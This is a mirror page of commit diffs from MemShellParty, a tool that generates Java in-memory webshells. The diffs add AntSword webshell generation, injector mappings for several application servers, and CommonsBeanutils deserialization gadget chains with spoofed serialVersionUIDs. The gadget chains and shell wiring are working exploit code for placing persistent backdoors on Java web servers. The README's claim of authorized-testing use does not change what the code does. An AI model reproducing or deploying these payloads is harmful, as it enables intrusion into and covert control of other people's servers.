mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 |
@@ -57,6 +57,7 @@ jobs:
|
||||
- resin
|
||||
- payara
|
||||
- websphere
|
||||
- websphere7
|
||||
- springmvc
|
||||
- weblogic
|
||||
- springwebflux
|
||||
|
||||
+17
-1
@@ -5,7 +5,23 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) -
|
||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 AntSword 内存马生成 by @ReaJason
|
||||
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
||||
|
||||
### Changed
|
||||
|
||||
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
||||
- 部分 UI 调整
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复随机类名如果为保留字时会无法加载
|
||||
|
||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||
|
||||
### Added
|
||||
|
||||
|
||||
+9
-15
@@ -1,15 +1,17 @@
|
||||
### 目录结构
|
||||
|
||||
- behinder:冰蝎简易连接器,用来自动化测试连接效果(为保证兼容性够高,所以单独弄出来)
|
||||
- godzilla:哥斯拉简易连接器,用来自动化测试连接效果(为保证兼容性够高,所以单独弄出来)
|
||||
- common:bytebuddy 等工具类存放
|
||||
- deserialize:反序列化相关 gadget
|
||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||
- web:使用 react 开发的 Web UI
|
||||
- common:bytebuddy 等工具类存放
|
||||
- generator:内存马生成核心
|
||||
- deserialize:反序列化相关 gadget
|
||||
- integration-test:集成测试用例
|
||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||
- generator:内存马生成核心
|
||||
- integration-test:集成测试用例
|
||||
- tools/behinder:冰蝎简易连接器
|
||||
- tools/godzilla:哥斯拉简易连接器
|
||||
- tools/suo5:Suo5 简易连接器
|
||||
- web:使用 react 开发的 Web UI
|
||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||
@@ -53,14 +55,6 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
||||
1. 先打包前端项目,`bun run build`
|
||||
2. 再打包后端项目,`./gradlew :boot:bootJar`
|
||||
|
||||
### Contribute Something
|
||||
|
||||
> 你对此项目的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
1. 你有高超的 Docker 环境构建技术,可以添加 CVE 相关的集成测试用例。
|
||||
2. 你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
### Contribute Code
|
||||
|
||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
|
||||
@@ -1,24 +1,43 @@
|
||||
<div align="center">
|
||||
<h1 align="center">MemShellParty</h1>
|
||||
# MemShellParty
|
||||
|
||||
<p>一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台</p>
|
||||
<p>在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了</p>
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
|
||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||
[](https://t.me/memshell)
|
||||
|
||||
</div>
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||
[](https://t.me/memshell)
|
||||
[](https://party.memshell.news)
|
||||
|
||||
> [!WARNING]
|
||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||
|
||||
> [!TIP]
|
||||
> 项目仍在快速迭代过程中,如有相关疑问或者适配请求可提 issue 或加入 TG
|
||||
> 交流群,由于本人仅是安全产品研发,无实战经验,欢迎一起学习交流
|
||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||
> 交流群,欢迎一起学习交流
|
||||
|
||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||
|
||||
MemShellParty 出现的原因有以下几个:
|
||||
|
||||
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用 [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
生成一个 WAS 的内存马不能用,调了半天修好了)。
|
||||
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
||||
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/),高封装提供的
|
||||
API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
||||
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
||||
应用无感),必须得整一个玩玩。
|
||||
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
|
||||
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
|
||||
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
|
||||
|
||||
希望你能从这个项目学会或尝试做的:
|
||||
|
||||
1. 学会编写常见中间件框架的内存马编写方式。
|
||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
||||
|
||||

|
||||
|
||||
@@ -26,24 +45,41 @@
|
||||
|
||||
## 主要特性
|
||||
|
||||
- 自动化测试保障: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
,确保常见场景下的高可用性。
|
||||
- 优化的用例设计: 尽可能精简内存马大小,高效传输。
|
||||
- 广泛的兼容性: 覆盖攻防场景下常见中间件和框架。
|
||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
- 最小化: 尽可能精简内存马大小,高效传输。
|
||||
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
|
||||
|
||||
## 快速启动
|
||||
## 快速使用
|
||||
|
||||
### 在线站点
|
||||
|
||||
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
|
||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku))
|
||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
||||
|
||||
### 本地部署(推荐)
|
||||
|
||||
使用 docker 部署之后访问 http://127.0.0.1:8080
|
||||
|
||||
```bash
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memshell-party
|
||||
# 使用 Docker Hub 源,拉取最新的镜像
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||
|
||||
# 使用 Github Container Registry 源,拉取最新的镜像
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
# 网络质量不太好?使用南大 Github Container Registry 镜像源
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||
|
||||
```bash
|
||||
# 移除之前部署的
|
||||
docker rm -f memshell-party
|
||||
|
||||
# 使用之前的部署命令,重新部署(会自动拉取最新的镜像部署)
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## 适配情况
|
||||
@@ -98,7 +134,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
||||
- [x] Behinder 冰蝎
|
||||
- [x] 命令执行
|
||||
- [x] Suo5
|
||||
- [ ] AntSword 蚁剑
|
||||
- [x] AntSword 蚁剑
|
||||
- [ ] Neo-reGeorg
|
||||
- [ ] Custom
|
||||
|
||||
@@ -110,9 +146,9 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] 脚本引擎
|
||||
- [x] EL、SpEL、OGNL
|
||||
- [x] Velocity、Freemarker
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB4)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
@@ -127,10 +163,15 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
||||
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
参考 [CONTRIBUTE.md](CONTRIBUTING.md)。
|
||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
||||
|
||||
## Thanks
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ public class GenerateRequest {
|
||||
private String godzillaKey;
|
||||
private String commandParamName;
|
||||
private String behinderPass;
|
||||
private String antSwordPass;
|
||||
private String headerName;
|
||||
private String headerValue;
|
||||
}
|
||||
@@ -50,6 +51,12 @@ public class GenerateRequest {
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getAntSwordPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
|
||||
import com.reajason.javaweb.deserialize.payload.*;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
@@ -12,7 +12,12 @@ public enum PayloadType {
|
||||
/**
|
||||
* CB 链
|
||||
*/
|
||||
CommonsBeanutils19(new CommonsBeanutils19());
|
||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||
|
||||
;
|
||||
|
||||
private final Payload payload;
|
||||
|
||||
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils110 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.field(named("serialVersionUID"))
|
||||
.value(1L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils16 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(2573799559215537819L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class CommonsBeanutils18 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object generate(byte[] bytes) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(-3490850999041592962L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
+17
-3
@@ -4,8 +4,16 @@ import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
@@ -16,12 +24,18 @@ public class CommonsBeanutils19 implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public Object generate(byte[] bytes) {
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(-2044202215314119608L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return queue;
|
||||
}
|
||||
|
||||
@@ -41,4 +41,10 @@ public class Reflections {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
|
||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.deserialize.payload;
|
||||
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
class CommonsBeanutils18Test {
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
Object object = new ByteBuddy()
|
||||
.redefine(Class.forName("org.apache.commons.beanutils.BeanComparator"))
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(-2044202215314119608L)
|
||||
.make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance();
|
||||
assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID"));
|
||||
}
|
||||
|
||||
}
|
||||
@@ -26,6 +26,7 @@ public abstract class AbstractShell {
|
||||
case Command -> getCommandShellMap().keySet().stream().toList();
|
||||
case Behinder -> getBehinderShellMap().keySet().stream().toList();
|
||||
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
|
||||
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
|
||||
default -> Collections.emptyList();
|
||||
};
|
||||
}
|
||||
@@ -77,12 +78,17 @@ public abstract class AbstractShell {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
||||
case Godzilla -> getGodzillaShellMap();
|
||||
case Command -> getCommandShellMap();
|
||||
case Behinder -> getBehinderShellMap();
|
||||
case Suo5 -> getSuo5ShellMap();
|
||||
case AntSword -> getAntSwordShellMap();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
|
||||
};
|
||||
return shellMap.get(shellType);
|
||||
@@ -94,6 +100,7 @@ public abstract class AbstractShell {
|
||||
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
|
||||
@@ -7,6 +8,8 @@ import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -62,4 +65,13 @@ public class ApusicShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,13 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.bes.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.bes.injector.*;
|
||||
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -70,4 +74,15 @@ public class BesShell extends AbstractShell {
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
||||
@@ -7,6 +8,9 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
